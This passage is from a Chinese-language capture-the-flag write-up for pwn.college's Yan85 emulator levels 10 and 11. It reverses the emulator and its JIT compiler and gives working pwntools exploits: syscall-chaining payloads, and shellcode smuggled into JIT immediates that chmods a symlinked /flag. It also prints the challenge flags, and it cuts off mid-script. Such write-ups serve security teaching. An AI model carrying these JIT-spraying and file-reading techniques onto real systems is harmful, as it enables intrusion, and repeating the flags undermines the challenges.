eax int v10; // ebx const char *v11; // rax v2 = (const char *)describe_register(BYTE2(a2)); printf("[s] SYS %#hhx %sn", BYTE1(a2), v2); if ( (a2 & 0x100) != 0 ) { puts("[s] ... open"); v3 = sys_open(a1, &a1[a1[1024] + 768], a1[1025], a1[1026]); write_register(a1, BYTE2(a2), v3); } if ( (a2 & 0x2000) != 0 ) crash(a1, "Disallowed system call: SYS_READ_CODE"); if ( (a2 & 0x1000) != 0 ) { puts("[s] ... read_memory"); v4 = a1[1026]; if ( 256 - a1[1025] <= v4 ) LOBYTE(v4) = -a1[1025]; v5 = sys_read(a1, a1[1024], &a1[a1[1025] + 768], (unsigned __int8)v4); write_register(a1, BYTE2(a2), v5); } if ( (a2 & 0x200) != 0 ) { puts("[s] ... write"); v6 = a1[1026]; if ( 256 - a1[1025] <= v6 ) LOBYTE(v6) = -a1[1025]; v7 = sys_write(a1, a1[1024], &a1[a1[1025] + 768], (unsigned __int8)v6); write_register(a1, BYTE2(a2), v7); } if ( (a2 & 0x400) != 0 ) { puts("[s] ... sleep"); v8 = sys_sleep(a1, a1[1024]); write_register(a1, BYTE2(a2), v8); } if ( (a2 & 0x800) != 0 ) { puts("[s] ... exit"); sys_exit(a1, a1[1024]); } result = BYTE2(a2); if ( BYTE2(a2) ) { v10 = (unsigned __int8)read_register(a1, BYTE2(a2)); v11 = (const char *)describe_register(BYTE2(a2)); return printf("[s] ... return value (in register %s): %#hhxn", v11, v10); } return result; } ``` Sooooooo,我们把 `orw` 串起来就好了,实现用一条指令调用多个 syscall! ## Exploit ```python #!/usr/bin/python from pwn import log, os def construct_payload(): yancode = b"x01x02x00" # imm a, 0x00 yancode += b"x01x40x66" # imm b, 0x66 yancode += b"x20x02x40" # stm a, b yancode += b"x01x40x00" # imm b, 0x00 yancode += b"x01x10xff" # imm c, 0xff yancode += b"x80x13x02" # orw return yancode def save_shellcode_to_file(filename): payload = construct_payload() try: with open(filename, "wb") as f: f.write(payload) except Exception as e: log.exception(f"An error occurred while saving shellcode to file: {e}") def main(): try: os.system("ln -s /flag f") save_shellcode_to_file("shellcode") except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` 令我感到奇怪的是 exp 中使用 `os.dup2(1, 57)` 并不能将 `fd 57` redirect 到 `stdou t`。但是将 shellcode 写到文件中,再将其作为 stdin 传给程序,并重定向 `fd 57` 到 stdout 就可以。 ```bash showLineNumbers=false ./toddlerone-level-10-0 < shellcode 57>&1 > output ``` ## Flag Flag: `pwn.college{c8a_GFOYLKgE8O8i-6oZxhhzxgi.01NzMDL5cTNxgzW}` # Level 10.1 ## Information - Category: Pwn ## Description > The ultimate Yan85 challenge. Provide your own Yan85 shellcode. ## Write-up 参见 [Level 10.0](#level-100)。 ## Exploit ```python #!/usr/bin/python from pwn import log, os def construct_payload(): yancode = b"x40x10x00" # imm a, 0x00 yancode += b"x40x20x66" # imm b, 0x66 yancode += b"x04x10x20" # stm a, b yancode += b"x40x20x00" # imm b, 0x00 yancode += b"x40x04xff" # imm c, 0xff yancode += b"x02x2ax10" # orw return yancode def save_shellcode_to_file(filename): payload = construct_payload() try: with open(filename, "wb") as f: f.write(payload) except Exception as e: log.exception(f"An error occurred while saving shellcode to file: {e}") def main(): try: os.system("ln -s /flag f") save_shellcode_to_file("shellcode") except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{oWpBceTnbTClQqRYa8nwc5Pi1b9.0FOzMDL5cTNxgzW}` Level 10 做完也是直接从第七杀入前三了 LOL
# Level 11.0 ## Information - Category: Pwn ## Description > The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated fo r modern hardware! ## Write-up 终于到了传说中的 [JIT (Just-in-time compilation)](https://en.wikipedia.org/wiki/ Just-in-time_compilation),也是本章节最后的 BOSS! 之前看这一章讲义的时候就觉得这 是一个很高端的东西。是的,我懂,我懂,又是一道令我仰望的题(其实当时看讲义觉得利 用应该也没那么难,只是概念对我来说比较新,因为是第一次接触吧。<s>_这种情境仿佛一 夜之间世界从蒸汽时代飞跃至信息化巅峰,众人皆已驾驭现代科技,我却恍如沉醉于旧工业 的残梦未醒……忽而惊觉,恍若隔世,徒留错愕于时代洪流之中……_</s>)……Brain 以自动为 您触发被动 skill **_畏难_** :skull: 话不多说,直接开干!迎面袭来的,是刺鼻的恶臭,嗅……嗯,纯正的,错不了,是逆向分析 !_/丧中没有一丝燃,好熟悉……_ 通常这种硬核难题都是,熬过最折磨人的逆向阶段后,神挡杀神、佛挡杀佛,最好如此。~_ /某人试图自我打气_~ 你熟悉又陌生的 main 姑娘: ```c int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v4; // [rsp+18h] [rbp-2818h] _BYTE s[2064]; // [rsp+20h] [rbp-2810h] BYREF void *addr; // [rsp+2020h] [rbp-810h] unsigned __int64 v7; // [rsp+2828h] [rbp-8h] v7 = __readfsqword(0x28u); printf("[+] Welcome to %s!n", *argv); puts("[+] This challenge is an custom emulator. It emulates a completely custo m"); puts("[+] architecture that we call "Yan85"! You'll have to understand the"); puts("[+] emulator to understand the architecture, and you'll have to understa nd"); puts("[+] the architecture to understand the code being emulated, and you will "); puts("[+] have to understand that code to get the flag. Good luck!"); puts("[+]"); puts("[+] This level is a full Yan85 emulator. You'll have to reason about yan code,"); puts("[+] and the implications of how the emulator interprets it!"); puts("[X]"); puts("[X] Arizona State University is proud to present a NEW version of Yan85: "); puts("[X] Yan85_64! This is a beta preview of the cutting-edge technology, arm ed"); puts("[X] with the latest in security mitigations. Hopefully, we didn't forget to"); puts("[X] check all the memory accesses properly, though you never know...."); puts("[X]"); setvbuf(_bss_start, 0LL, 2, 1uLL); memset(s, 0, 0x2808uLL); printf("[!] This time, YOU'RE in control! Please input your yancode: "); read(0, s, 0x1800uLL); puts("[+]"); puts("[+] This is a *teaching* challenge, which means that it will output"); puts("[+] a trace of the Yan85 code as it processes it. The output is here"); puts("[+] for you to understand what the challenge is doing, and you should us e"); puts("[+] it as a guide to help with your reversing of the code."); puts("[+]"); addr = mmap((void *)0x1337000, 0x1000uLL, 7, 34, 0, 0LL); v4 = emit_program(s); if ( mprotect(addr, 0x1000uLL, 5) ) __assert_fail( "mprotect(state.compiled_code, 0x1000, PROT_READ|PROT_EXEC) == 0", "/challenge/toddlerone-level-11-0.c", 0x323u, "main"); puts("[!] Your yancode has been JITed! The result is the following x86_64 code :"); print_disassembly(addr, v4 - (_QWORD)addr); ((void (*)(void))addr)(); return 0; } ``` 注意到 `read` 可以造成栈溢出,暂时不知道有没有用,先记录一下。 `mmap` 在 `0x1337000` 分配了 `0x1000` bytes 的 `rwx` 空间,通过后续的分析我们知 道这个地址是用来存放编译后代码的。 之后进入了 `emit_program(s)`。返回后移除了编译后代码处的写权限,调用 `print_disa ssembly(addr, v4 - (_QWORD)addr)` 输出编译后的机器码及其反汇编,最后通过 `((void (*)(void))addr)()` 执行编译后代码。 ```c _BYTE *__fastcall emit_program(__int64 a1) { _BYTE *v1; // rax _BYTE *v2; // rax _BYTE *v3; // rax _BYTE *v4; // rax _BYTE *v5; // rax _BYTE *v6; // rax int v7; // r8d int v8; // r9d int i; // [rsp+14h] [rbp-Ch] _BYTE *v11; // [rsp+18h] [rbp-8h] _QWORD *v12; // [rsp+18h] [rbp-8h] _BYTE *v13; // [rsp+18h] [rbp-8h] v11 = *(_BYTE **)(a1 + 0x2000); puts("[e] emitting initialization code"); v1 = helper_mov_imm(a1, v11, 32LL, 0LL); v2 = helper_mov_imm(a1, v1, 64LL, 0LL); v3 = helper_mov_imm(a1, v2, 16LL, 0LL); v4 = helper_mov_imm(a1, v3, 8LL, 0LL); v5 = helper_mov_imm(a1, v4, 4LL, 0LL); v6 = helper_mov_imm(a1, v5, 2LL, 0LL); v12 = helper_mov_imm(a1, v6, 1LL, 0LL); for ( i = 0; i <= 255; ++i ) { *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x20 00); printf("[e] instruction %d to %p (offset %#x from base)n", i, v12, *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8)); *(_BYTE *)v12 = 73; v13 = (char *)v12 + 1; *v13++ = -57; *v13++ = -63; *(_DWORD *)v13 = i; v12 = (_QWORD *)emit_instruction( a1, (int)v13 + 4, i, a1, v7, v8, *(_QWORD *)(a1 + 24LL * i), *(_QWORD *)(a1 + 24LL * i + 8), *(_QWORD *)(a1 + 24LL * i + 16)); } printf("[e] compiled %d instructions!n", i); return emit_end(a1, v12); } ``` `v11 = *(_BYTE **)(a1 + 0x2000)` 的作用是取编译后代码的起始地址 (`_BYTE *`)。 emitting initialization code 后的七个 `helper_mov_imm` 负责初始化一些寄存器的值 。深入其内部我们知道,这个函数的作用就是负责将我们输入的 `imm` 的 yancode 翻译为 amd64 中的 `movabs` 指令的机器码: ```c _QWORD *__fastcall helper_mov_imm(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4) { _QWORD *v5; // [rsp+10h] [rbp-10h] switch ( a3 ) { case 32LL: *a2 = 73; a2[1] = -70; v5 = a2 + 2; break; case 64LL: *a2 = 73; a2[1] = -69; v5 = a2 + 2; break; case 16LL: *a2 = 73; a2[1] = -68; v5 = a2 + 2; break; case 8LL: *a2 = 73; a2[1] = -67; v5 = a2 + 2; break; case 4LL: *a2 = 73; a2[1] = -66; v5 = a2 + 2; break; case 2LL: *a2 = 73; a2[1] = -65; v5 = a2 + 2; break; case 1LL: *a2 = 73; a2[1] = -71; v5 = a2 + 2; break; default: crash(a1, "Unknown register in emit_imm"); } *v5 = a4; return v5 + 1; } ``` 通过观察运行结果我们知道这七条指令分别对应了: ```asm showLineNumbers=false wrap=false 0x0000000001337000 | 49 ba 00 00 00 00 00 00 00 00 | movabs r10, 0 0x000000000133700a | 49 bb 00 00 00 00 00 00 00 00 | movabs r11, 0 0x0000000001337014 | 49 bc 00 00 00 00 00 00 00 00 | movabs r12, 0 0x000000000133701e | 49 bd 00 00 00 00 00 00 00 00 | movabs r13, 0 0x0000000001337028 | 49 be 00 00 00 00 00 00 00 00 | movabs r14, 0 0x0000000001337032 | 49 bf 00 00 00 00 00 00 00 00 | movabs r15, 0 0x000000000133703c | 49 b9 00 00 00 00 00 00 00 00 | movabs r9, 0 ``` 进入循环体内部,`*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);` 负责计算当前指令相对于 `v11` 的偏移,单位是字节。 之后 `for` 循环默认会生成 256 条占位指令(如果你没有输入任何 yancode)。结果差不 多是下面这样,每隔一条指令 arg2 这个立即数增加 0x1: ```asm showLineNumbers=false wrap=false 0x0000000001337046 | 49 c7 c1 00 00 00 00 | mov r9, 0 0x000000000133704d | 49 c7 c1 01 00 00 00 | mov r9, 1 0x0000000001337054 | 49 c7 c1 02 00 00 00 | mov r9, 2 <snap> 0x0000000001337731 | 49 c7 c1 fd 00 00 00 | mov r9, 0xf d 0x0000000001337738 | 49 c7 c1 fe 00 00 00 | mov r9, 0xf e 0x000000000133773f | 49 c7 c1 ff 00 00 00 | mov r9, 0xf f ``` 接下来,就是我们最关心的 yancode 如何解析了。为了方便查阅理解,这里把调用部分单 独贴出来: ```c // <snap> for ( i = 0; i <= 255; ++i ) { *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000 ); printf("[e] instruction %d to %p (offset %#x from base)n", i, v12, *(_QWORD *) (a1 + 8 * (i + 1024LL) + 8)); *(_BYTE *)v12 = 73; v13 = (char *)v12 + 1; *v13++ = -57; *v13++ = -63; *(_DWORD *)v13 = i; v12 = (_QWORD *)emit_instruction( a1, (int)v13 + 4, i, a1, v7, v8, *(_QWORD *)(a1 + 24LL * i), *(_QWORD *)(a1 + 24LL * i + 8), *(_QWORD *)(a1 + 24LL * i + 16) ); } // <snap> ``` `(int)v13 + 4` 代表下一条指令的起始地址。`*(_QWORD *)(a1 + 24LL * i + 16)` 是 `a 9`,观察下面的 `emit_instruction` 的具体实现我们知道程序通过这个参数来判断需要把 yancode 解析成什么指令,所以它就是 opcode 位。 ```c __int64 __fastcall emit_instruction( int a1, __int64 a2, __int64 a3, int a4, int a5, int a6, __int64 a7, __int64 a8, __int64 a9) { __int64 v10; // [rsp+0h] [rbp-10h] v10 = a2; if ( (a9 & 0x40) != 0 ) v10 = emit_imm(a1, a2, a2, a4, a5, a6, a7, a8); if ( (a9 & 4) != 0 ) v10 = emit_add(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 1) != 0 ) v10 = emit_stk(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 0x10) != 0 ) v10 = emit_stm(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 0x80) != 0 ) v10 = emit_ldm(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 0x20) != 0 ) v10 = emit_cmp(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 8) != 0 ) v10 = emit_jmp(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 2) != 0 ) emit_sys(a1, v10, v10, a4, a5, a6, a7, a8); return v10; } ``` 就以 `imm` 为例吧,首先得满足 `(*(_QWORD *)(a1 + 24LL * i + 16) & 40) != 0`,那 就是 `b"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x40x00x00x00x00x00x00x00 "` ;-; 我也不知道是不是应该写出来,但是真的好长啊…… ```c __int64 __fastcall emit_imm( __int64 a1, _BYTE *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8) { const char *v8; // rax _QWORD *v10; // [rsp+0h] [rbp-20h] v8 = (const char *)describe_register(a7); printf("[e] compiling IMM %s = %#hhx to %pn", v8, a8, a2); v10 = helper_mov_imm(a1, a2, a7, a8); if ( a7 == 1 ) return helper_jmp_i(a1, v10); return (__int64)v10; } ``` 然后注意到 `(const char *)describe_register(a7)`,说明 `a7`,也就是 `*(_QWORD *) (a1 + 24LL * i)` 代表寄存器,结合下面的 `printf` 可知它是 arg1。`a8`,也就是 `*( _QWORD *)(a1 + 24LL * i + 8)` 代表 arg2,是一个立即数。 那么最终 yancode 格式应该是 `arg1, arg2, opcode` 这样的,注意每个参数位都是一个 `QWORD`。 ```c __int64 __fastcall emit_imm( __int64 a1, const void *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8) { const char *v8; // rax __int64 v10; // [rsp+0h] [rbp-20h] v8 = (const char *)describe_register(a7); printf("[e] compiling IMM %s = %#hhx to %pn", v8, a8, a2); v10 = helper_mov_imm(a1, a2, a7, a8); if ( a7 == 1 ) return helper_jmp_i(a1, v10); return v10; } ``` 九个参数看着挺吓人的,实际上还好啦~ 通过讲义的学习我们知道,攻击思路大致应该是将 shellcode 写到变量里面,然后利用 `j mp` 跳转到变量内部执行我们的 shellcode。 所以我们用到的指令应该有 `imm`、`stm`、`jmp`。 先来看看 `jmp` 指令的实现: ```c __int64 __fastcall emit_jmp( __int64 a1, _BYTE *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8) { const char *v8; // rbx const char *v9; // rax _BYTE *v10; // rax v8 = (const char *)describe_register(a8); v9 = (const char *)describe_flags(a7); printf("[e] compiling JMP %s %s to %pn", v9, v8, a2); if ( a7 ) crash(a1, "conditional jumps not supported in JIT mode"); *a2 = 77; a2[1] = -119; v10 = helper_combo_byte(a1, a2 + 2, 1LL, a8); return helper_jmp_i(a1, v10); } ``` 跳转条件被禁了,所以 arg1 对我们来说是没用的,需要设置为 0。那么 `jmp` 的格式就 是 `jmp * reg` 了。 `helper_combo_byte(a1, a2 + 2, 1LL, a8)` 的作用是将 yancode 中 arg2 代表的寄存器 转换为 amd64 寄存器对应的机器码。而上面的两条代码负责生成将转换后得到的寄存器的 值移动到 `r9` 中的机器码: ```c *a2 = 77; a2[1] = -119; ``` 所以最后会生成类似这样的一条指令: ```asm mov r9, ? ``` 附上 `helper_combo_byte` 的内部实现: ```c collapse={1-174, 212-250} _BYTE *__fastcall helper_combo_byte(__int64 a1, _BYTE *a2, __int64 a3, __int64 a 4) { if ( a3 == 32 && a4 == 32 ) { *a2 = -46; return a2 + 1; } else if ( a3 == 32 && a4 == 64 ) { *a2 = -38; return a2 + 1; } else if ( a3 == 32 && a4 == 16 ) { *a2 = -30; return a2 + 1; } else if ( a3 == 32 && a4 == 8 ) { *a2 = -22; return a2 + 1; } else if ( a3 == 32 && a4 == 2 ) { *a2 = -6; return a2 + 1; } else if ( a3 == 32 && a4 == 1 ) { *a2 = -54; return a2 + 1; } else if ( a3 == 32 && a4 == 4 ) { *a2 = -14; return a2 + 1; } else if ( a3 == 64 && a4 == 32 ) { *a2 = -45; return a2 + 1; } else if ( a3 == 64 && a4 == 64 ) { *a2 = -37; return a2 + 1; } else if ( a3 == 64 && a4 == 16 ) { *a2 = -29; return a2 + 1; } else if ( a3 == 64 && a4 == 8 ) { *a2 = -21; return a2 + 1; } else if ( a3 == 64 && a4 == 2 ) { *a2 = -5; return a2 + 1; } else if ( a3 == 64 && a4 == 1 ) { *a2 = -53; return a2 + 1; } else if ( a3 == 64 && a4 == 4 ) { *a2 = -13; return a2 + 1; } else if ( a3 == 16 && a4 == 32 ) { *a2 = -44; return a2 + 1; } else if ( a3 == 16 && a4 == 64 ) { *a2 = -36; return a2 + 1; } else if ( a3 == 16 && a4 == 16 ) { *a2 = -28; return a2 + 1; } else if ( a3 == 16 && a4 == 8 ) { *a2 = -20; return a2 + 1; } else if ( a3 == 16 && a4 == 2 ) { *a2 = -4; return a2 + 1; } else if ( a3 == 16 && a4 == 1 ) { *a2 = -52; return a2 + 1; } else if ( a3 == 16 && a4 == 4 ) { *a2 = -12; return a2 + 1; } else if ( a3 == 8 && a4 == 32 ) { *a2 = -43; return a2 + 1; } else if ( a3 == 8 && a4 == 64 ) { *a2 = -35; return a2 + 1; } else if ( a3 == 8 && a4 == 16 ) { *a2 = -27; return a2 + 1; } else if ( a3 == 8 && a4 == 8 ) { *a2 = -19; return a2 + 1; } else if ( a3 == 8 && a4 == 2 ) { *a2 = -3; return a2 + 1; } else if ( a3 == 8 && a4 == 1 ) { *a2 = -51; return a2 + 1; } else if ( a3 == 8 && a4 == 4 ) { *a2 = -11; return a2 + 1; } else if ( a3 == 2 && a4 == 32 ) { *a2 = -41; return a2 + 1; } else if ( a3 == 2 && a4 == 64 ) { *a2 = -33; return a2 + 1; } else if ( a3 == 2 && a4 == 16 ) { *a2 = -25; return a2 + 1; } else if ( a3 == 2 && a4 == 8 ) { *a2 = -17; return a2 + 1; } else if ( a3 == 2 && a4 == 2 ) { *a2 = -1; return a2 + 1; } else if ( a3 == 2 && a4 == 1 ) { *a2 = -49; return a2 + 1; } else if ( a3 == 2 && a4 == 4 ) { *a2 = -9; return a2 + 1; } else if ( a3 == 1 && a4 == 32 ) { *a2 = -47; return a2 + 1; } else if ( a3 == 1 && a4 == 64 ) { *a2 = -39; return a2 + 1; } else if ( a3 == 1 && a4 == 16 ) { *a2 = -31; return a2 + 1; } else if ( a3 == 1 && a4 == 8 ) { *a2 = -23; return a2 + 1; } else if ( a3 == 1 && a4 == 2 ) { *a2 = -7; return a2 + 1; } else if ( a3 == 1 && a4 == 1 ) { *a2 = -55; return a2 + 1; } else if ( a3 == 1 && a4 == 4 ) { *a2 = -15; return a2 + 1; } else if ( a3 == 4 && a4 == 32 ) { *a2 = -42; return a2 + 1; } else if ( a3 == 4 && a4 == 64 ) { *a2 = -34; return a2 + 1; } else if ( a3 == 4 && a4 == 16 ) { *a2 = -26; return a2 + 1; } else if ( a3 == 4 && a4 == 8 ) { *a2 = -18; return a2 + 1; } else if ( a3 == 4 && a4 == 2 ) { *a2 = -2; return a2 + 1; } else if ( a3 == 4 && a4 == 1 ) { *a2 = -50; return a2 + 1; } else { if ( a3 != 4 || a4 != 4 ) crash(a1, "Unkown register combination in helper_combo_byte"); *a2 = -10; return a2 + 1; } } ``` `helper_jmp_i(a1, v10)` 生成的代码是: ```asm mov r8, r9 shl r8, 3 movabs rax, 0x7fff791f5478 add r8, rax mov r8, qword ptr [r8] movabs rax, 0x1337000 add r8, rax jmp r8 ``` 其内部实现如下: ```c __int64 __fastcall helper_jmp_i(__int64 a1, __int64 a2) { *(_BYTE *)a2 = 0x4D; *(_BYTE *)(a2 + 1) = 0x89; *(_BYTE *)(a2 + 2) = 0xC8; *(_BYTE *)(a2 + 3) = 0x49; *(_BYTE *)(a2 + 4) = 0xC1; *(_BYTE *)(a2 + 5) = 0xE0; *(_BYTE *)(a2 + 6) = 3; *(_BYTE *)(a2 + 7) = 0x48; *(_BYTE *)(a2 + 8) = 0xB8; *(_QWORD *)(a2 + 9) = a1 + 0x2008; *(_BYTE *)(a2 + 17) = 0x49; *(_BYTE *)(a2 + 18) = 1; *(_BYTE *)(a2 + 19) = 0xC0; *(_BYTE *)(a2 + 20) = 0x4D; *(_BYTE *)(a2 + 21) = 0x8B; *(_BYTE *)(a2 + 22) = 0; *(_BYTE *)(a2 + 23) = 0x48; *(_BYTE *)(a2 + 24) = 0xB8; *(_QWORD *)(a2 + 25) = *(_QWORD *)(a1 + 0x2000); *(_BYTE *)(a2 + 33) = 0x49; *(_BYTE *)(a2 + 34) = 1; *(_BYTE *)(a2 + 35) = 0xC0; *(_BYTE *)(a2 + 36) = 0x41; *(_BYTE *)(a2 + 37) = 0xFF; *(_BYTE *)(a2 + 38) = 0xE0; return a2 + 39; } ``` 大致逻辑就是以 `a1 + 0x2008` 为基地址,reg 左移三位的值为偏移的这个位置处的 QWOR D 移动到 `r8`,并以 `*(_QWORD *)(a1 + 0x2000)`,也就是 `0x1337000` 为基,`r8` 为 偏移,跳转到 `r8` 处执行。所以我们只要控制 `r8` 为 shellcode 的偏移就好了。 因为有之前 Yan85 的经验,我们知道 `stm` 可以用于设置寄存器指向的地址的值,所以: ```c __int64 __fastcall emit_stm( __int64 a1, const void *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8) { const char *v8; // rbx const char *v9; // rax __int64 r8; // rax v8 = (const char *)describe_register(a8); v9 = (const char *)describe_register(a7); printf("[e] compiling STM *%s = %s to %pn", v9, v8, a2); r8 = helper_load_r8(a1, a2, a7); return helper_store_mem(a1, r8, a8); } ``` `r8 = helper_load_r8(a1, a2, a7);` 的作用是将 arg1 寄存器的值加载到 `r8` 中。变 量 `r8` 存储的是下一条指令的起始地址。 `helper_store_mem(a1, r8, a8)` 的作用是先将 `a1 + 0x1800` 的地址写入 `rax`,然后 `r8 = r8 + rax` 得到要写入的位置,最后将 arg2 寄存器的 QWORD 值写入到 `[r8]`。 所以 `stm` 实际实现了下面这些指令: ```asm mov r8, r10 movabs rax, 0x7ffc4b50d840 add r8, rax mov qword ptr [r8], r11 ``` 相信敏锐的你已经发现了,通过 `stm` 直接可以控制 `jmp` 的跳转偏移! 之前我们分析出编译出来的 amd64 代码在 `a1 + 0x2000` 处,而这里 `stm` 是以 `a1 + 0x1800` 为基址的,所以我们需要计算一下它们之间相距多少: ```asm wrap=false ────────────────────────────────────────────────────────────────────[ DISASM / x 86-64 / set emulate on ]──────────────────────────────────────────────────────── ──────────── 0x133704d movabs r10, 0 R10 => 0 0x1337057 mov r9, 1 R9 => 1 0x133705e movabs r11, 0x76 R11 => 0x76 0x1337068 mov r9, 2 R9 => 2 0x133706f mov r8, r10 R8 => 0 -> 0x1337072 movabs rax, 0x7ffc436fde60 RAX => 0x7ffc436fde60 <- 0 0x133707c add r8, rax R8 => 0x7ffc436fde60 (0x0 + 0x7ff c436fde60) 0x133707f mov qword ptr [r8], r11 [0x7ffc436fde60] => 0x76 0x1337082 mov r9, 3 R9 => 3 0x1337089 mov r9, r10 R9 => 0 0x133708c mov r8, r9 R8 => 0 ──────────────────────────────────────────────────────────────────────────────── ─[ STACK ]────────────────────────────────────────────────────────────────────── ──────────── 00:0000│ rsp 0x7ffc436fc638 -> 0x604e8e832312 (main+630) <- mov eax, 0 01:0008│ 0x7ffc436fc640 -> 0x7ffc436fef98 -> 0x7ffc436ff629 <- '/home/cub3y0 nd/Projects/pwn.college/toddlerone-level-11-0' 02:0010│ 0x7ffc436fc648 <- 0x100000000 03:0018│ 0x7ffc436fc650 <- 0 04:0020│ 0x7ffc436fc658 -> 0x13377b6 <- add byte ptr [rax], al 05:0028│ 0x7ffc436fc660 <- 0x20 /* ' ' */ 06:0030│ 0x7ffc436fc668 <- 0 07:0038│ 0x7ffc436fc670 <- 0x40 /* '@' */ ───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────── ──────────── -> 0 0x1337072 1 0x604e8e832312 main+630 2 0x7963bbc34e08 3 0x7963bbc34ecc __libc_start_main+140 4 0x604e8e8302ae _start+46 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── ──────────── pwndbg> p/x 0x2000-0x1800 $1 = 0x800 pwndbg> x/10gx 0x7ffc436fde60+0x800 0x7ffc436fe660: 0x0000000001337000 0x0000000000000046 0x7ffc436fe670: 0x0000000000000057 0x0000000000000068 0x7ffc436fe680: 0x0000000000000082 0x00000000000000b3 0x7ffc436fe690: 0x00000000000000c4 0x00000000000000d5 0x7ffc436fe6a0: 0x00000000000000e6 0x00000000000000ed ``` 所以,只要控制偏移为 `0x808` 处的值为 shellcode 的偏移即可。 那我们的 yancode 就可以设计为: ```plaintext showLineNumbers=false imm a, 0x808 imm b, shellcode_offset stm a, b imm a, 0 jmp * a imm a, shellcode imm a, shellcode imm a, shellcode ... ``` 因为 shellcode 用一个变量肯定存不下,所以我们需要把各个部分分开写到多个变量中, 之间通过 `jmp` 来实现连续的控制流。 小小 JIT 不过如此嘛~ 至此,既然攻击链都出来了,那这个虚拟机还剩下的一些细枝末节我就懒得分析了,直接开 写 exp。 ## Exploit ```python #!/usr/bin/python3 from pwn import ELF, asm, context, gdb, log, p64, process, remote context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-11-0" HOST, PORT = "localhost", 1337 gdbscript = """ b *main+628 c """ def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def construct_payload(): """ arg1, arg2, opcode /* chmod(file='f', mode=4) */ /* push b'fx00' */ push 0x66 mov rdi, rsp push 4 pop rsi /* call chmod() */ push 90 /* 0x5a */ pop rax syscall """ yancode = p64(0x20) + p64(0x808) + p64(0x40) # imm a, 0x808 yancode += p64(0x40) + p64(0xCD) + p64(0x40) # imm b, 0xcd yancode += p64(0x20) + p64(0x40) + p64(0x10) # stm a, b yancode += p64(0x20) + p64(0x00) + p64(0x40) # imm a, 0x00 yancode += p64(0x00) + p64(0x20) + p64(0x08) # jmp *, a yancode += ( p64(0x20) + asm("push 0x66; mov rdi, rsp; nop; jmp $+0xb") + p64(0x40) ) # imm a, shellcode yancode += ( p64(0x20) + asm("push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb") + p64(0x 40) ) # imm a, shellcode yancode += ( p64(0x20) + asm("pop rax; syscall") + asm("nop") * 0x5 + p64(0x40) ) # imm a, shellcode return yancode def attack(target, payload): try: target.sendafter(b"Please input your yancode: ", payload) target.recvall(timeout=3) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch(debug=False) payload = construct_payload() attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{MCXoFb-q4KUhm1mE_Yk7XCDiZZa.0VOzMDL5cTNxgzW}` # Level 11.1 ## Information - Category: Pwn ## Description > The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated fo r modern hardware! ## Write-up 参见 [Level 11.0](#level-110)。 ## Exploit ```python #!/usr/bin/python3 from pwn import ELF, asm, context, gdb, log, p64, process, remote context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-11-1" HOST, PORT = "localhost", 1337 gdbscript = """ b *main+503 c """ def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def construct_payload(): """ opcode arg1, arg2 /* chmod(file='f', mode=4) */ /* push b'fx00' */ push 0x66 mov rdi, rsp push 4 pop rsi /* call chmod() */ push 90 /* 0x5a */ pop rax syscall """ yancode = p64(0x10) + p64(0x08) + p64(0x808) # imm a, 0x808 yancode += p64(0x10) + p64(0x02) + p64(0xCD) # imm b, 0xcd yancode += p64(0x02) + p64(0x08) + p64(0x02) # stm a, b yancode += p64(0x10) + p64(0x08) + p64(0x00) # imm a, 0x00 yancode += p64(0x08) + p64(0x00) + p64(0x08) # jmp *, a yancode += ( p64(0x10) + p64(0x08) + asm("push 0x66; mov rdi, rsp; nop; jmp $+0xb") ) # imm a, shellcode yancode += ( p64(0x10) + p64(0x08) + asm("push 0x4; pop rsi; push 0x5a; nop; jmp $+0x b") ) # imm a, shellcode yancode += ( p64(0x10) + p64(0x08) + asm("pop rax; syscall") + asm("nop") * 0x5 ) # imm a, shellcode return yancode def attack(target, payload): try: target.sendafter(b"Please input your yancode: ", 